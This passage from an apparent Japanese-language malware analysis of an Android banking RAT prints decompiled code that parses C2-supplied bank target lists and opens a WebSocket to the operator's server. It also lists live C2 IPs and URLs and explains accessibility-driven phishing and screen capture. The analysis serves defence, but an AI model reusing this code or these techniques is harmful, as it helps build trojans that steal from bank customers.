&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;strOptString7&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;jSONObject&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;optString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="cm"&gt;/* "itrk" */&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;""&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;strOptString8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;jSONObject&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;optString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="cm"&gt;/* "ityp" */&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;""&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;strOptString8&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;equals&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="cm"&gt;/* "G" */&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;posvvhbqnqa&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;x&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;strOptString7&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;toLowerCase&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// add package to active watch list&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;K&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;strOptString5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;strOptString6&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// store tracker value&lt;/span&gt;
&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;H&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;strOptString5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;strOptString7&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// store package name&lt;/span&gt;
&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;I&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;strOptString5&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="c1"&gt;// initialize tracking state&lt;/span&gt;
&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;J&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;strOptString5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;strOptString8&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// store activation mode&lt;/span&gt;
&lt;span class="n"&gt;r00&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;f&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;d0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;h&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;e0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;// set tracking_enabled = true in shared prefs&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Firebaseを経由する2つ目の並行した経路も存在します。サービス起動時のハンドラー（hhmpmwbx.java）が、FirebaseのタスクペイロードからTRKフィールドを読み取り、各エントリをBase64デコードして、同じ標的の構造体に格納します。配信チャネルは2つあり、互いに独立しています。対話型（WebSocket）と、ブロードキャスト型（FCM。感染端末群全体に一度に届けられる）です。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// APK: connector.predictor.messenger &amp;mdash; split DEX&lt;/span&gt;
&lt;span class="c1"&gt;// JADX source: sources/connector/predictor/messenger/hhmpmwbx.java&lt;/span&gt;
&lt;span class="c1"&gt;//&lt;/span&gt;
&lt;span class="c1"&gt;// On service start, the connector checks the 'TRK' value from its shared state.&lt;/span&gt;
&lt;span class="c1"&gt;// If it is non-empty and does not begin with the sentinel 'empty|', it splits&lt;/span&gt;
&lt;span class="c1"&gt;// the value on '|', Base64-decodes each entry as UTF-8, then splits each&lt;/span&gt;
&lt;span class="c1"&gt;// decoded entry on the field separator '[&amp;lt;s&amp;gt;]' into four named fields:&lt;/span&gt;
&lt;span class="c1"&gt;// ntrk, ltrk, itrk, ityp. This is the same structure as the live C2 update above.&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;oxjugojsnjozr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;efexbpctvpjlwqee&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;contains&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="cm"&gt;/* "|" */&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;oxjugojsnjozr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;efexbpctvpjlwqee&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;startsWith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="cm"&gt;/* "empty|" */&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;r00&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;f&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;getApplicationContext&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;e0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;r00&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;f&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;getApplicationContext&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;e0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;str2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;oxjugojsnjozr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;efexbpctvpjlwqee&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="cm"&gt;/* "|" */&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;str3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Base64&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;str2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cm"&gt;/* "UTF-8" */&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;str3&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;length&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;str3&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;contains&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="cm"&gt;/* "[&amp;lt;s&amp;gt;]" */&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;strArrSplit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;str3&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="cm"&gt;/* "[&amp;lt;s&amp;gt;]" */&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;str4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;strArrSplit&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// ntrk&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;str5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;strArrSplit&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// ltrk&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;str6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;strArrSplit&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// itrk (package name)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;str7&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;strArrSplit&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// ityp (activation mode)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;str7&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;equals&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="cm"&gt;/* "G" */&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;posvvhbqnqa&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;x&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;str6&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;toLowerCase&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;K&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;str4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;str5&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;H&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;str4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;str6&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;I&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;str4&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;J&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;str4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;str7&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;あらゆる銀行を標的にする&lt;em&gt;能力&lt;/em&gt;はマルウェアに組み込まれており、現在標的となっている銀行の&lt;em&gt;リスト&lt;/em&gt;はC2サーバー上にあります。オペレーター側のC2インターフェースを示す一般公開された概念実証動画という独立したエビデンスが、実環境でオペレーターの標的リストに銀行のパッケージ名が実際に含まれていることを裏付けています。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;画面キャプチャとフィッシングの配信&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;アクセシビリティによる操作に加えて、コネクターはAndroidのMediaProjection APIを使った継続的な画面キャプチャを実装しています。VirtualDisplay、ImageReader、WebSocketのトランスポートが、オペレーターへのライブストリーミングのパイプラインを構成しています。&lt;/p&gt;
&lt;p&gt;画面キャプチャはアクセシビリティから独立しています。異なるAndroid API、異なる権限（FOREGROUND_SERVICE_MEDIA_PROJECTION）、異なるユーザー同意ダイアログを使用しており、ルアーキットはまさにそれを手に入れるために設計されています。アクセシビリティと画面キャプチャの両方を持つオペレーターは冗長な可視性を得ます。一方のストリームが劣化しても、もう一方が継続します。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;標的の起動時のフィッシング配信&lt;/strong&gt;：標的とされたパッケージがフォアグラウンドに来てモードGが起動すると、コネクターは3つの仕組みでフィッシングコンテンツを配信できます。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ローカルのHTMLルアーキットから読み込まれる&lt;strong&gt;フルスクリーンのWebView&lt;/strong&gt;（アクティビティcofsbfpmyxowwuea）&lt;/li&gt;
&lt;li&gt;正規のアプリの上に重ねられる&lt;strong&gt;偽のロック画面または認証情報入力用のActivity&lt;/strong&gt;（アクティビティdhsesufepsplsmqcghx）&lt;/li&gt;
&lt;li&gt;オーバーレイを使わない、正規のアプリ自身のUIの&lt;strong&gt;アクセシビリティによる直接操作&lt;/strong&gt;：フィールドの自動入力、フォームの送信、取引の承認（posvvhbqnqaアクセシビリティサービス経由）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;3つ目の仕組みが検知上の課題です。オーバーレイが存在しないため、端末上の防御が見つけられるオーバーレイウィンドウの痕跡もありません。マルウェアは、被害者自身の認証済みセッションを使い、オペレーターに代わって被害者の本物のバンキングアプリを操作します。銀行のバックエンドから見ると、すべての操作は正規のユーザーの端末とセッションから発生しています。実際にそうだからです。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="偽の認証情報入力画面またはPINロック画面。監視対象のアプリケーションでアクセシビリティによる標的設定が起動した後に、コネクターが表示するフィッシングオーバーレイ。" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-04-28_ebl_malware_analysis_article/Pasted-image-20260413183546.jpg"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;図5：偽の認証情報入力画面またはPINロック画面。監視対象のアプリケーションでアクセシビリティによる標的設定が起動した後に、コネクターが表示するフィッシングオーバーレイ。&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;C2通信のアーキテクチャ&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;コネクターは、オペレーターのインフラへの2つの並行したチャネルを維持しています。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;主要チャネル：永続的なWebSocket&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// APK: connector.predictor.messenger &amp;mdash; split DEX&lt;/span&gt;
&lt;span class="c1"&gt;// JADX source: sources/filterpredictor/loggermuxer/daemonallocatorx/daemonprober/gz.java (L291)&lt;/span&gt;
&lt;span class="c1"&gt;//&lt;/span&gt;
&lt;span class="c1"&gt;// The connector instantiates an OkHttpClient and opens a persistent WebSocket&lt;/span&gt;
&lt;span class="c1"&gt;// to the URL returned by re.c(). The WebSocket listener (C0054a) handles&lt;/span&gt;
&lt;span class="c1"&gt;// incoming operator commands in real time.&lt;/span&gt;

&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;OkHttpClient&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;unused&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;gz&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;a&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;OkHttpClient&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;gz&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;f&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;gz&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;newWebSocket&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;Builder&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="na"&gt;url&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;c&lt;/span&gt;&lt;span class="p"&gt;()).&lt;/span&gt;&lt;span class="na"&gt;build&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;C0054a&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;C2のエンドポイントは実行時に設定可能&lt;/strong&gt;：re.c()は定数ではありません。このメソッド（re.java L201&amp;ndash;216）は、空で初期化される実行時に設定可能なフィールドre.cを読み取り、設定されている値に対して到達可能性のチェックを行い、設定されたものがどれも到達できない場合にのみ、ws://195.160.221.203:8080/にデコードされるハードコードされた難読化文字列にフォールバックします。ハードコードされたIPは&lt;em&gt;フォールバック&lt;/em&gt;です。オペレーターは新しいAPKを送り込むことなく、設定の更新によって主要な接続先を差し替えられます。195.160.221.203をブロックすればフォールバックは断ち切れますが、任意の新しいインフラへのリダイレクトは防げません。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;補助チャネル：HTTPによる報告とタスク取得&lt;/strong&gt;&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;strong&gt;チャネル&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;エンドポイント&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;役割&lt;/strong&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;主要なWebSocket C2（フォールバック）&lt;/td&gt;
&lt;td&gt;ws://195.160.221.203:8080/&lt;/td&gt;
&lt;td&gt;オペレーターによるリアルタイムの双方向制御&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;エラー報告&lt;/td&gt;
&lt;td&gt;http://45.149.114.40/yaarsa/private/log_error.php&lt;/td&gt;
&lt;td&gt;マルウェア側のクラッシュ／エラーのテレメトリ&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;タスク／設定&lt;/td&gt;
&lt;td&gt;http://45.149.114.40/yaarsa/private/yarsap_80541.php&lt;/td&gt;
&lt;td&gt;スケジュールされたタスクの取得&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;リダイレクト／再設定&lt;/td&gt;
&lt;td&gt;https://famelack.com/&lt;/td&gt;
&lt;td&gt;オペレーターが管理するリダイレクト用エンドポイント&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;オペレーターのコマンドセットの全体像&lt;/strong&gt;：復元したディスパッチャーのハンドラーは、対象を絞ったバンキングオーバーレイツールではなく、汎用のAndroid RATであることを示しています。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;strong&gt;コマンド&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;能力&lt;/strong&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
